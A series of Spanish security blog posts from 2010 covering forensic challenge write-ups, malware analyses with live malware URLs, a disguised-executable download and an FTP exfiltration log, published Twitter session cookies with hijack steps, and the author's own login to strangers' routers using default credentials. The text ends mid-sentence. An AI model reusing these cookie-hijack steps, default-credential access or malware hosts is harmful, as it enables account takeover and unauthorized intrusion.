Para asegurarnos de que tenemos el archivo correcto procesamos okin.dd con md5sum y lo comparamos con el valor que dice el pdf:

root@moon:/home/juan/ForensicTests/NcNForense# md5sum -b okin.dd
9c9a5e0d25dd57db10c99e84d9b03d48 *okin.dd
root@moon:/home/juan/ForensicTests/NcNForense#

Si no coincidiera estamos en problemas, habría que volver a descargar el archivo o probar descomprimiendo nuevamente okin.dd.bz2.

Entonces tenemos una partición en un archivo, en principio no podemos ver su contenido (archivos y directorios) porque se trata simplemente de un archivo mas en nuestro disco.
Pero al tener la certeza de que se trata de una partición, solo necesitamos decirle al sistema operativo que la trate como un dispositivo de bloques como cualquier otro. Para lograr esto usamos losetup, que nos permite asociar a un dispositivo de loop un archivo o un dispositivo de bloque, que en nuestro caso significa: nos permite emular un dispositivo de bloque a partir de nuestro archivo okin.dd.

juan@moon:~/ForensicTests/NcNForense$ losetup --all

Antes de crear un dispositivo hay que ver cuál de los loop devices no está en uso, e mi caso losetup --all no devuelve nada y por lo tanto puedo utilizar cualquiera de los loop.

juan@moon:~/ForensicTests/NcNForense$ ls /dev/loo*
loop0 loop1 loop2 loop3 loop4 loop5 loop6 loop7

Entonces utilzio loop1, y como se trata de evidencia forense, le indicamos a losetup que configure el loop device como SOLO lectura.

root@moon:/home/juan/ForensicTests/NcNForense# losetup -r /dev/loop1 okin.dd

Listamos nuevamente los dispositivos loop en uso y vemos ahora que loop1 está en uso con nuestro archivo.

root@moon:/home/juan/ForensicTests/NcNForense# losetup -a
/dev/loop1: [0801]:692806 (/home/juan/ForensicTests/NcNForense/okin.dd)

Podemos ver nuestro dispositivo con fdisk:

root@moon:/home/juan/ForensicTests/NcNForense# fdisk -l /dev/loop1

Disco /dev/loop1: 123 MB, 123379200 bytes
255 cabezas, 63 sectores/pista, 15 cilindros
Unidades = cilindros de 16065 * 512 = 8225280 bytes
Identificador de disco: 0x00000000

El disco /dev/loop1 no contiene una tabla de particiones válida

No tiene particiones válidas porque no se trata de un disco particionado, sino simplemente de una partición.
Ahora creamos un directorio donde montaremos nuestra partición para por fin poder ver qué contiene.

root@moon:/home/juan/ForensicTests/NcNForense# mkdir analisis

root@moon:/home/juan/ForensicTests/NcNForense# mount -o ro /dev/loop1 analisis/

Lo montamos como cualquier otro dispositivo de bloques, expecificando la opción de solo lectura, no es necesario especificar el tipo de partición ya que lo detecta automáticamente (aunque no estaría mal hacerlo).
Podemos ver que se montó correctamente mediante:

root@moon:/home/juan/ForensicTests/NcNForense# mount | grep loop1
/dev/loop1 on /home/juan/ForensicTests/NcNForense/analisis type ext2 (ro)
root@moon:/home/juan/ForensicTests/NcNForense#

Eso es todo por ahora, de aca en mas ya se puede recorrer la partición como lo hacemos normalmente. Para la próxima veremos el contenido, los archivos, sus fechas, etc, y ver cuánta información se puede obtener.

Twitter y sus cookies

2010-09-22T21:29:00.001-03:00

Como explican los chicos de Securitybydefault en http://www.securitybydefault.com/2010/09/twitter-y-las-galletas-caducadas.html , twitter no está destruyendo realmente las cookies (ni siquiera aunque uno cierre sesión como dios manda xD) o al menos no en un tiempo razonable.
Esto qué quiere decir? quiere decir que se pueden reutilizar las cookies para continuar una sesión que fue abierta con las de la ley (con usuario y password correctos). De esta forma, quien se haga con nuestras cookies es capaz de utilizar nuestra cuenta.

Inconvenientes:
-Una vez obtenida la cookie el usuario malvado podría eliminar todos nuestros followers, agregar nuevos, insultar a mamá y papá, decirle a la novia que no la querés ver mas xD (podría no ser tan malvado), etc etc etc.

Algo bueno?:
-emm... digamos que si. Este usuario poseído, no podrá hacer cambios irreversibles como cambiar la contraseña o el mail asignado a nuestra cuenta, porque para ello debería conocer nuestra contraseña y estamos suponiendo que tenemos una contraseña segura y que no tiene relación alguna con el nombre de la cuenta ni el mail, ni nada tan predecible.

Realmente funciona? SISI, hace mas de 2hs cree una cuenta en twitter (luego de haber probado con mi cuenta privada) y aún se puede entrar utilizando las cookies.

Las cookies son las 12 siguientes:

.twitter.com   TRUE   /   FALSE   1285196450   __utmb   43838368.10.10.1285194542
.twitter.com   TRUE   /   FALSE   1348266650   __utmv   43838368.lang%3A%20es
.twitter.com   TRUE   /   FALSE   0   __utmc   43838368
.twitter.com   TRUE   /   FALSE   1348266650   __utma   43838368.1707552852.1285194542.1285194542.1285194542.1
.twitter.com   TRUE   /   FALSE   0   _twitter_sess   BAh7DzoVaW5fbmV3X3VzZXJfZmxvdzAiLXNob3dfZGlzY292ZXJhYmlsaXR5%250AX2Zvcl9zb3l1bmFwcnVlYmFtYXMwOhNwYXNzd29yZF90b2tlbiItMmRhMjM3%250AZTA5NTdjYmE0NjJhNDQ1YjE4Nzg1NDE0NTgzYmQ4NDBlMjoMdHpfbmFtZSIN%250AQnJhc2lsaWE6CXVzZXJpBMNcjgs6E3Nob3dfaGVscF9saW5rMDoHaWQiJTUy%250AYjY0YTg2ODZmZjM2ZWU1NTIyYWIwZjhiNzNlYjY5IgpmbGFzaElDOidBY3Rp%250Ab25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsAOgxj%250Ac3JmX2lkIiVjNzA1MjRiNjZlODFkOGE2ZWQ3MTI2NGRmOTVhN2QyNDoPY3Jl%250AYXRlZF9hdGwrCGomkDsrAQ%253D%253D--91b23fa140937e74c8499f08229b4484cc3d73c3
.twitter.com   TRUE   /   FALSE   0   auth_token   2da237e0957cba462a445b18785414583bd840e2
.twitter.com   TRUE   /   FALSE   1300962542   __utmz   43838368.1285194542.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
.twitter.com   TRUE   /   FALSE   1285799324   k   190.230.174.206.1285194524262928
twitter.com   FALSE   /   FALSE   0   lang   es
twitter.com   FALSE   /   FALSE   0   tz_offset_sec   -10800
twitter.com   FALSE   /   FALSE   0   original_referer   4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl
twitter.com   FALSE   /   FALSE   1287786524   guest_id   128519452426515090

Para realizar la prueba es necesario copias las cookies anteriores a un archivo e importarlas a nuestro browser preferido (entiendase FIREFOX) mediante algún plugin como ser "Add N Edit Cookies", una vez importadas vamos a www.twitter.com y magia!! :P somos "soyunapruebamas".

Podemos ver las cookies importadas:

Las cookies _twitter_sess, __utmc, auth_token, lang, original_referer y tz_offset_sec expiran (teóricamente) al finalizar la sesión, pero claramente NO lo están haciendo.
__utmb expira: 09/22/2010 21:24:32.
__utmv expira: 09/21/2012 20:54:32
__utma expira: 09/21/2012 20:54:32
k expira: 09/29/2010 19:28:44
__utmz expira: 03/24/2011 07:29:02
guest_id expira: 10/22/2010 19:28:44

A las 21:15 del 22 de septiembre de 2010, habiendo expirado casi todas las cookies, aún es posible utilizarlas...

La misma prueba hecha en facebook nos demuestra el funcionamiento esperado de las cookies:
-Si no cerramos sesión, las cookies se pueden reutilizar.
-Si cerramos sesión, las cookies se invalidan y es necesario volver a autenticarse.

Esto a simple vista podría no parecer peligroso, pero sumado a la aparición de un bug XSS en twitter, es posible que nuestras cookies sean robadas y ya no podríamos invalidarlas cerrando la sesión.

Aca un poco mas sobre una de las cookies auth_token: http://domdingelom.blogspot.com/2008/12/all-your-twitter-are-belong-to-us.html .
Aca un poco mas sobre el bug XSS: http://www.rtve.es/noticias/20100921/twitter-sufre-mayor-ataque-su-historia-culpa-fallo-seguridad/355656.shtml .

Importen las cookies, prueben y no hagan destrozos a "soyunapruebamas", gracias xD.

Archivo cookiest.txt http://www.megaupload.com/?d=1JX7UNZJ .
Hash MD5: 973b5eff003532bb2f4508cfcd9c9f93 cookies.txt

Segundo desafío :P

2010-09-02T23:17:00.000-03:00

Así es, esta entrada es para el segundo desafío (continuación del anterior, al menos en la historia xD). La facultad y la pasantía ciertamente me están desgastando el cuerpo, hoy me dormí un par de veces en la clase de inteligencia artificial, pero debo admitir que el profesor no ayudaba xD. Pero esto no es un diario xD, así que a lo que nos truje.
El segundo desafío es: http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail . Esta vez nos encontramos con un desafío un tanto mas interesante y un archivo de capturas un poco mas grande también.
Una vez comprendida bien las preguntas me dispuse a abrir el archivo de captura para buscar las respuesta, claramente usando wireshark :P.

RESPONDIENDO LAS PREGUNTAS:

1-Viendo un poco la captura encontramos en el paquete número 53 el inicio de una conexión tcp al puerto 587, que no es el puerto estandard de los servidores de correo (25), pero si seguimos la conexión queda en evidencia de que se trata de una conexión a un servidor de correo.

En la imagen se ve prácticamente toda la conexión con el servidor de correo y como se trata de stmp básico vemos todo en texto claro nada de cifrado.
Desde esta imagen podemos responder varias preguntas, vemos que el mail de la señorita "Ann Dercover" es "sneakyg33@aol.com".

2-Los dos puntos negros en la imagen anterior marcan la autenticación llevada a cabo, parece texto sin sentido, esto se debe a que el nombre del usuario (primero punto) y el password (segundo punto) están codificados en Base64 (para mas información http://es.wikipedia.org/wiki/Base64). Ahora pasemos a decodificar (nótese la diferencia entre codificar y cifrar, son cosas totálmente diferentes, base64 es un tipo de codificación no de cifrado).
Para decodificar los campos los extraemos manualmente y los decodificamos con el programa base64 de la siguiente manera:
Primero metemos las cuatro cadenas codificadas dentro de un archivo de texto para automatizar un poco todo (no se justifica para tan pocos datos codificados, pero buee), y luego procesamos una a una cada linea del archivo de la siguiente manera:

Y magia xD, el usuario de Ann Dercover es el que indicamos anteriormente y su password es "558r00lz".

3-En primer momento creí que la respuesta a esta pregunta también se podría sacar de la primer imagen, y me arriesgué a creer que el mail del señor X es "sec558@gmail.com". Pero no!, viendo la pregunta 4 me encontré con un segundo mail enviado por Ann, comenzando en el paquete 153. Esta vez el mail va dirigido a una dirección un tanto sospechosa xD "mistersecretx@aol.com", la cual sin lugar a dudas es la dirección del señor X.

4-En este segundo mail Ann escribe al señor X:

Ann pide al señor X que traiga su pasaporte falso y traje de baño :P.

5-Parte del texto del mail de Ann nos indica que la dirección de encuentro está adjunta al correo electrónico. Vemos que de hecho hay un archivo adjunto, con el nombre "secretrendezvous.docx", codificado en "base64".

6- Bien, esta parte es mas divertida, ahora hay que extraer el archivo codificado en base64, decodificarlo y calcular su hash md5.
Copiamos toda la parte codificada en base64 en un archivo, lo copié directamente desde wireshark seleccionando toda la parte codificada. Una vez listo el archivo lo decodificamos de la siguiente forma:

La opción "i" indica a base64 que ignore los caracteres no válidos que encuentre, sin la opción activada nos informará que se encontraron caracteres inválidos, por la forma en que los paquetes llegaron y como los muestra wireshark. Una vez que tenemos el archivo nos fijamos su estructura y file nos informa correctamente el tipo de archivo según su magic number. Con md5sum calculamos el checksum del archivo en cuestión "9e423e11db88f01bbff81172839e1923 secretrendezvous.docx".

7-Ahora, una vez mas, por no tener Microsoft Office y porque mi OpenOffice no es demasiado amigable con los .docx abro el archivo desde google:

El punto de encuentro se indica en la imagen, Avenida Constituyentes 1 Calle 10 x la 5ta Avenida, Playa del carmen México.

8-Descargamos la imagen (botón derecho guardar imagen, god bless google!) y vemos que se trata de un png, luego calculamos su checksum.

Y ahí quedan todas las preguntas respondidas :D.

Bueno, ahora voy a cumplir con mi cuerpo y me voy a dormir xD.

Primer desafío :D.

2010-08-30T00:03:00.000-03:00

Bueno, como comenté en una de las entradas anteriores, cada vez que tenga un poco de tiempo libre (y me acuerde del blog xD) voy a intentar hacer desafíos de esos que dan vueltas por internet. La idea es empezar con los simples e ir subiendo un poco la dificultad y ver hasta donde puedo llegar xD. Principalmente buscaré desafíos de tipo forenses, al menos por ahora es lo que mas me interesa.
Para empezar elegí (http://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim) este primer caso. La introducción está en inglés, y no pienso traducirla D... aprender inglés es muy importante, al menos en este rubro.

El desafío consiste básicamente en analizar una captura de tráfico de una LAN y responder las siguientes preguntas que se plantean.

Para poder ver el tráfico de manera legible utilizamos Wireshark, y nos encontramos con unos 240 paquetes, que van de consultas dns, actualizaciones NTP, paquetes ARP hasta conexiones http ssl tls, etc etc.

Reconocimiento de la red:
Desde la captura obtenida encontramos al menos 6 ordenadores en la red 192.168.1.0/24. Tenemos pcs en las direcciones 10,30,2,157,158,159 (último octeto de la IP real). Un servidor DNS en 10.1.1.20, un gateway y servidor NTP en 192.168.1.10, y un aparente servidor web en 192.168.1.157. Además encontramos algunas IPs públicas de servicios de mensajería instantánea AOL.

La primer secuencia de paquetes interesantes para este caso es la que tiene como origen 192.168.1.158 (pc de anna xD) y destino 64.12.24.50. En esta conexión podemos ver la conversación que mantiene Anna con el chico malo. El chico malo (192.168.1.159) está utilizando un cliente de mensajería que cifra la conversación, no así anna, por eso podemos ver la conversación en gran parte.

Bien, ahora podemos responder la primer pregunta.
1-El amigo malvado de anna se hace llamar "Sec558user1".
2-El primer comentario registrado fue escrito por anna y dice "Here's the secret recipe... I just downloaded it...".
3-También observamos el nombre de un archivo potencialmente de texto "recipe.docx", una vez que el destinatario acepta la transferencia del archivo, se abre una conexión punto a punto entre las dos pcs 192.168.1.158 <-> 192.168.1.159.
4-Buscando un poco por internet se pueden encontrar sitios que listan magic numbers (http://www.garykessler.net/library/file_sigs.html) para distintos tipos de archivos. El magic number que señala archivos de tipo docx es "50 4B 03 04", que si, es exáctamente igual al de archivos de tipo zip.
5-Este punto resultó ser bastante mas complicado que los anteriores xD.
La siguiente imagen es la captura de la conexión TCP que se abre para transferir el archivo recipe.docx. Los puntos rojos señalan los paquetes que traen carga efectiva (partes del archivo).

Desde otro punto de vista vemos:

"PK" es la traducción ASCII de "50 4B", es decir, a partir de allí existe nuestro archivo. Si pasamos el volcado a Hexa es mas claro:

Ahora viene el trabajo pesado. Como el archivo no es tan grande como para que sea necesario automatizar el proceso, lo hice manualmente. De cada uno de los paquetes marcados con rojo en la imagen de la conexión TCP extraje los bytes de carga, de la siguiente manera: seleccionamos el paquete, vamos a la zona de datos y exportamos los bytes del paquete.

Exportamos uno a uno los 10 paquetes, en mi caso les asigné como nombre las primeras 10 letras del abecedario, es decir a,b,c,d,e,f,g,h,i, y j. Ahora tenemos nuestro documento de texto partido en 10 pedazos xD, poco útil cierto? jajaj. Haciendo uso de una de las maravillas de la ingeniería unimos estos 10 archivos en uno solo, de la siguiente manera:

juan@moon:~/ForensicTests/puzzle1-forensicscontest/Solucion$ cat a b c d e f g h i j > recipe.docx
juan@moon:~/ForensicTests/puzzle1-forensicscontest/Solucion$ md5sum recipe.docx 8350582774e1d4dbe1d61d64c89e0ea1 recipe.docx
juan@moon:~/ForensicTests/puzzle1-forensicscontest/Solucion$ file recipe.docx
recipe.docx: Zip archive data, at least v2.0 to extract

Si!, cat es la maravilla de la ingeniería xD. Unidos los 10 archivos calculamos su checksum y de paso vemos como file lo detecta correctamente como un archivo tipo ZIP. Y ya tenemos el punto 5.

6-Si el punto 5 está bien hecho este es trivial, claro si tenés office instalado!!! :P, pero como no lo tengo recurrimos a GoogleDocs :D y leemos la receta secreta!!!

Y aca concluye el primer desafío. Anna realmente fue parte de una fuga de información y debería ser sancionada como corresponda :P. Sec558user1 se salió con la suya, obtuvo la codiciosa receta secreta y debe estar vendiéndola en ebay xD.

Recien salido del horno "Que absurdo.‏"

2010-08-25T22:37:00.000-03:00

Aca traigo una novedad de esas que me llegan por mail xD. Esta vez de un contacto diferente, y con el siguiente texto:

Todos los enlaces de las supuestas fotos apuntan a http://mulhersubita.100webspace.ne t/ que nos redirije a un sito chino, específicamente a http://www.cwts.com.cn/en/area/taiwan/Downloads_E.z ip . Una vez descargado este archivo comprimido quien no se sentiría tentado de ver unas fotos... En fín, dichi zip contiene un ejecutable, que a este momento es detectado por 4 de los 42 antivirus que utiliza virus total, es decir, es muy muy nueno evidentemente. Enlace de mi reporte en virus total: http://www.virustotal.com/file-scan/report.html?id=77df88abc1a50a6d1b2b283388e1d1561f91e2b78becb870d1555d3b57cfbffb-1282783946 .

Una vez prepara la vm nueva voy a probar qué hace este nuevo bichito :D.
...
...
5 minutos después... una gran decepción, por algún motivo obtengo esto:

process: created C:\WINDOWS\explorer.exe -> C:\Documents and Settings\Administrador\Escritorio\Downloads_E.exe
process: terminated C:\WINDOWS\explorer.exe -> C:\Documents and Settings\Administrador\Escritorio\Downloads_E.exe

Es decir, el proceso se crea y muere inmediatamente... es probable que el entorno donde lo intento ejecutar no le sea propicio (Windows XP SP3).

Aca el reporte de anubis: http://anubis.iseclab.org/?action=result&task_id=13f3d7a196e03ed6459da776ce3d9e114&format=pdf .

Las actividades que registró anubis yo no las observé en mi entorno de pruebas, para esto debe haber una explicación, mis conjeturas son:
-Anubis realiza las pruebas sobre otro sistema operativo distinto del mio.
-Mi programa de logging de actividades CaptureBAT no registra las actividades de este malware, posiblemente sea mas avanzado que los demás.

Hasta el momento no registré actividad de red extraña desde la VM infectada, lo que me llama poderosamente la atención. No pude avisar a los administradores del sitio chino porque... no encontré un mail de contacto xD. El sitio tiene mucho código en php en malas condiciones y vulnerable, seguramente por ahí fue que lograron colarse los chicos malos.

En los próximos días tengo planeado hacer unos ejercicios de informática forense que iré juntando por la web, es una rama de la informática muy interesante. La idea es intentar resolverlos y subir los resultados al blog, como para variar un poco.

Nuevo: "Fotos chocantes cobra engole garoto de 13 anos no Pantanal 09/08/2010‏"

2010-08-23T21:39:00.000-03:00

Ya no se cuanto tiempo pasó de la entrada anterior, pero mas de una semana seguro. Necesito temas para escribir en el blog xD. Justamente hoy, recibí un nuevo email de mi "contacto en el mas allá". Nuevamente el título del email juega con el morbo de los seres humanos xD. Las supuestas fotos estarían enhttp://ofuxico.terra.com.br/materia/Fotos-pantanal-0.73642, que a decir verdad apunta a http://centurionet2001.com/files/ Fotos-IML-matogrosso.pps?0.73642 .
De una vez por todas estos chicos realizaron cambios interesantes, respecto a las versiones anteriores. Todo indica que centurionet2001.com, es un host comprometido por los chicos malos, o nunca fue concebido con buenos fines :P.

Si presionamos el link seremos redireccionados de la siguiente manera:

GET /files/Fotos-IML-matogrosso.pps?0.73642 HTTP/1.1
Host: centurionet2001.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

HTTP/1.1 302 Moved Temporarily
Date: Mon, 23 Aug 2010 23:13:19 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Location: http://hostgaitor.narod.ru/materia.htm
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

De nuevo dominios .ru ... hostigaitor.narod.ru/materia.htm hospeda un sitio que se presenta de la siguiente manera.

Similar al sitio de adobe cierto? jajajaaj, no cabe duda. Además nos invita a instalar Adobe Flash Player version 10.1.6 (supuestamente) de Adobe System y hospedad en hostigator.narod.ru.
Pidiendo un poco mas de información a firefox vemos que el certificado con que fue firmada la aplicación:

Expiró en 2009 (Validity Validity: [From: Sat Nov 08 18:25:37 ARST 2008,
To: Fri Feb 06 18:25:37 ARST 2009] ).
Fue generado por Adobe System@ para Adobe System@. Lo cual despierta sospechas a firefox.

Si cancelamos la instalación (muy recomendable xD) no sucederá nada malo (ni divertido xD). Pero bueno xD, en este caso vamos a ver qué sucede de divertido cuando aceptemos e instalemos este "nuevo" flashplayer.
Primero descargamos el archivo a instalar para comprobarlo con virustotal a ver que nos dice. El archivo en cuestión se hospeda en: http://realamizades.com/system/FLASH_PLAYER10.0.40.5.ex e.
Todo indica que este es el primer reporte que recibe virustotal de nuestro amigo infeccioso.
14 de 40 antivirus lo detectan como una amenaza, para ver el reporte total click aca -> http://www.virustotal.com/file-scan/compact.html?id=c116fc4d1aad19121d484c07ebad0d49cdc4e01a5778efc41e450bfe789bb803-1282606951#
Análisis de anubis: http://anubis.iseclab.org/?action=result&task_id=103db40d587163ab4cdfd8aaba20e6896&format=html . El reporte de anubis nos indica con precisión las actividades acometidas por nuestro .exe en el sistema.
Una de las primeras actividades es descargar la siguiente "imagen":

Se puede observar el sospechoso envión de una imagen en formato png, la cadena "This program must be run under win32" nos deja mas que claro que no se trata de una imagen en lo mas mínimo. Poniendo el link directamente en el navegador, este nos indica que la imagen está corrupta y no puede mostrarse. Para saber su verdadera identidad podemos utilizar por ejemplo el comando file (en linux) de la siguiente manera:

juan@moon:~$ wget http://lajeado2010.tv/log/itens_img01.png
--2010-08-23 21:17:52-- http://lajeado2010.tv/log/itens_img01.png
Resolviendo lajeado2010.tv... 189.38.80.195
Conectando a lajeado2010.tv|189.38.80.195|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 116992 (114K) [image/png]
Guardando a: «itens_img01.png.1»

100%[======================================>] 116.992 37,0K/s en 3,1s

2010-08-23 21:18:01 (37,0 KB/s) - «itens_img01.png.1» guardado [116992/116992]

juan@moon:~$ file itens_img01.png
itens_img01.png: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
juan@moon:~$

Ya no cabe duda de que no se trata de un png xD, sino de un archivo ejecutable de windows. Aca el análisis de virustotal de itens_img01.png http://www.virustotal.com/file-scan/report.html?id=f911b9f4a1801f480151d75466da7806d1efb2e842fffecff625aec1ab4fea10-1282609386.

Todo sigue igual...

2010-08-04T23:32:00.001-03:00

Esta semana comencé la facultad de nuevo y junto con eso una pasantía en el centro de redes de otra universidad, todo esto implica una drástica disminución en mis tiempos libres xD.

Hoy después de varios días volví a recibir un mail de mi "contacto", pero el punto esta vez es que... el mail tiene el mismo asunto que el de la entrada del 15 de julio (http://viviendolared.blogspot.com/2010/07/otro-mail-interesante-encontrado-o.html) y pienso... mierda!!! ni siquiera se molestan en innovar!!! El archivo se sigue llamando igual, aunque esta vez se encuentra alojado en http://bit.ly/ afgHin?0.05796 -> http://svelin.com/stats/fotos.com .

Lo mas gracioso de este caso... es que el sitio en cuestión (svelin.com) corre el servicio Webalizer:

Ven el punto roojo? xD, bueno, analicemos... a los 4 días del mes de agosto se superaron ampliamente las métricas diarias respecto al resto de los meses, inclusive se superaron algunas métricas mensuales!!! En los 4 días que van de agosto hubo el doble de visitas que en todo julio jajjaja, definitivamente como administrador del sitio esto me llamaría poderosamente la atención. Los administradores ya fueron debidamente avisados.

Mirando un poco mas podemos hasta deducir la fecha en que se pudo haber perpetrado la intrusión:

Vemos que el día 3, las métricas revientan respecto a los otros dos días de agosto... claramente eso es un indicio de que comenzó a propagarse el enlace al malware que tienen hospedado...

Otro, mirá quien está en segundo puesto de las url mas accedidas :P

Esta siguiente me pareció MUY interesante, la mayoría de los referrers (páginas desde donde se accedió al enlace del malware) son webmails!!!

Al menos sospechoso deberia ser, que un sitio aparentemente Checo tenga un gráfico así:

Tendrían que hacer una versión en portugues? NO!!!!! tienen que borrar el fotos.com!!! y denunciar una intrusión a principios de agosto seguramente, posiblemente el 3 cerca del medio día!!!
Una vez mas queda claro el objetivo de este malware... BRASIL!!! el país sudamericano con mayores usuarios de internet y homebanking.

Esta vez no voy a hacer mas análisis de fotos.com, ya que se comporta de la misma manera que los anteriores, inclusive sigue utilizando a www.avinnovo.com y otros hosts que ya fueron advertidos de que se encuentran hospedando malware.

La pregunta es... ¿¿¿complicidad o ignorancia??? la respuesta es...

Actualización... navegando un poco mas el sitio en cuestión se puede encontrar una PHPshell... no voy a poner el enlace por una cuestión obvia, pero evidentemente el sitio está MUY comprometido.

El eterno dilema de las configuraciones por defecto...

2010-07-29T04:56:00.000-03:00

Las configuraciones por defecto/default son aquellas que se obtienen por el simple hecho de instalar o poner en funcionamiento un determinado producto. Es decir, es la configuración que el fabricante da a su producto antes de ponerlo en el mercado y por lo tanto la configuración inicial con la que se encuentra el cliente al utilizarlo. Esta medida adoptada por los fabricantes facilita, entre otras cosas, la documentación y presentación de sus productos.
Ahora... el problema radica en que estas configuraciones deberían ser reemplazadas por configuraciones específicas/personalizadas definidas por el usuario/cliente antes de que el producto sea puesto en funcionamiento.

¿Por qué cambiarlas si anda bien así? mmm una buena pregunta, es tan lindo cuando todo funciona perfectamente (o al menos eso parece) que nadie quiere tocarlo. Pero... las configuraciones por defecto se encuentran en la documentación del producto... y la documentación del producto se puede encontrar en internet... entonces nuestra configuración se encuentra a disposición de todo ser vivo capaz de escribir www.google.com en su browser favorito.

Hay cientos de sitios en internet (al alcance de www.google.com...) que se encargan, por ejemplo, de listar los user/password por defecto de aplicaciones y productos.

Hoy mientras probaba mi suscripción a http://www.shodanhq.com (un buscador... diferente) me encontré con una serie de dispositivos con contraseñas por defecto.
Lo que realmente me llamó la atención fue ver esto:

Correspondiente a algún lugar de Canada según MaxMind GeoIP

Israel

Los 3 hosts cuentan con routers de la misma marca (Edimax) y los 3 mantienen la configuración por defecto, pero lo gracioso está en cómo el fabricante:

Permite acceso http desde internet al router.
Presenta la tupla usuario/password por defecto de una forma tan explícita que realmente causa gracia admin/1234.

Pero la totalidad de la culpa recae sobre los clientes, que no se preocuparon por cambiar estos valores y exponen así (ingenuamente tal vez) información valiosa.

Y así es como los incidentes pasan...

En los 3 casos se accede como administrador a la configuración del router, desde donde podemos:

Ver las direcciones IP privadas asignadas (en uso en este momento).
Configuración del firewall, en uno de ellos se encuentra desactivado.
La información del cliente y el servicio de internet.
Se pueden ver/eliminar los logs.
Y un largo etc, que incluye todo lo que sea posible hacer en cuanto a modificación de la configuración del router xD, yendo desde cambios en la configuración wireless,LAN,WAN hasta cambiarle el firmware jajaja.

Si bien puede parecer algo estúpido, podrían realizarse cosas desde realmente molestas a jodidas.

Moraleja... como dicen por ahí RFM (read the fucking manual) y no dejen las configuraciones por defecto :P.

Otro: "Esse seu orkut e um fake? ou vc nem sabia que existia?‏"

2010-07-23T22:50:00.001-03:00

Aca está la muestra de hoy, de nuevo Visualizar.com, esta vez queriendo engañar con un falso link a orkut (la mayor red social brasilera, si no me equivoco, y de google) http://www.orkut.com.br/Main#Profile?uid=7282100705742116-0.13350, que en realidad nos envía a http://ow.ly/2foDE?orkut.com.br/Main#Profile?uid=7282100705742116?0.13350 (si, otra vez ocultado la dirección tras ow.ly) desde donde descargamos otro Visualizar.com, hospedado en un servidor ruso verimgsua.h1.ru/visualizar.php .
Esta vez hay un condimento extra a la usual descarga de imágenes y ejecutables que le siguen a la ejecución de visualizar.com y es una conexión a un servidor FTP. Los datos esta vez son subidos al servidor ftp de la siguiente manera:

220 ftp.xpg.com.br.
USER albumpng
331 Password required for albumpng
PASS
230 User albumpng logged in
TYPE I
200 Type set to I
SYST
215 UNIX Type: L8
PORT 192,168,206,153,19,137
200 PORT command successful.
LIST
150 Opening BINARY mode data connection for file list
226 Transfer complete
CWD lista
250 CWD command successful
PORT 192,168,206,153,19,138
200 PORT command successful.
STOR JUAN-AA57CF7254 [22:07:04] .txt
150 Opening BINARY mode data connection for JUAN-AA57CF7254 [22:07:04] .txt
226 Transfer complete

XPG resulta ser una empresa que brinda servicio de hosting gratuito... www.xpg.com.br.

Eliminé el password por razones obvias... pero dentro del ftp existe un directorio llamado lista donde al momento de escribir esta entrada hay mas de 300 archivos de equipos infectados. Cada archivo además de la información del equipo, recolecta e-mails de los usuarios del equipo, muchos.. muchos correos electrónicos para spam definitivamente.
Admito que mi portugues es muy malo, no logré encontrar en el sitio oficial de xpg un mail de contacto para avisarles de la situación, entonces...

Espero que los chicos tengan backup... sino se van a enojar mucho conmigo...

El reporte del día de hoy, corto pero conciso...

Aprovecho para agregar algo nuevo, esta vez durante toda la prueba utlicé un software de monitoreo que se llama CaptureBAT, si bien es un tanto "poco amigable" ofrece buen información:

Aca las dos claves del registro que hay que eliminar para que no se inicien los procesos maliciosos al arrancar la PC. A decir verdad, las claves de registro modificadas por Visualizar.com son demasiadas... a tal punto que el archivo de log pesa unos 1300Kb (de puro texto plano...)
juan@moon:~/Escritorio/test23julio/carpeta sin título$ cat salida_limpia.txt | grep Run
registry: SetValueKey C:\Arquivo de programas\mss.exe -> HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msgrmsn
registry: SetValueKey C:\Arquivo de programas\satplg.exe -> HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Aca vemos como a medida que se completa la descarga de los ejecutables comienzan a lanzarse los nuevos procesos entre ellos.
juan@moon:~/Escritorio/test23julio/carpeta sin título$ cat salida_limpia.txt | grep "process: created"
process: created C:\WINDOWS\explorer.exe -> C:\Documents and Settings\Administrador\Escritorio\Visualizar.com
process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -> C:\Arquivo de programas\wink.exe
process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -> C:\Arquivo de programas\mstim.exe
process: created C:\Arquivo de programas\mstim.exe -> C:\WINDOWS\system32\dwwin.exe
process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -> C:\Arquivo de programas\noix.exe
process: created C:\Arquivo de programas\noix.exe -> C:\WINDOWS\system32\net.exe
process: created C:\WINDOWS\system32\net.exe -> C:\WINDOWS\system32\net1.exe
process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -> C:\Arquivo de programas\mss.exe
process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -> C:\Arquivo de programas\satplg.exe

Se mantiene el MO: "Video porno caseiro de bruno e Eliza Samudio..Download!‏"

2010-07-19T16:56:00.000-03:00

Descargando un poco la tensión de los exámenes... acabo a revisar mi mail para ver si me encontraba con algo interesante. Para "mi sorpresa", mi contacto preferida (la que me inspiró las ultimas 3 entradas) me envió un mail. Esta vez se trata de un supuesto video en:

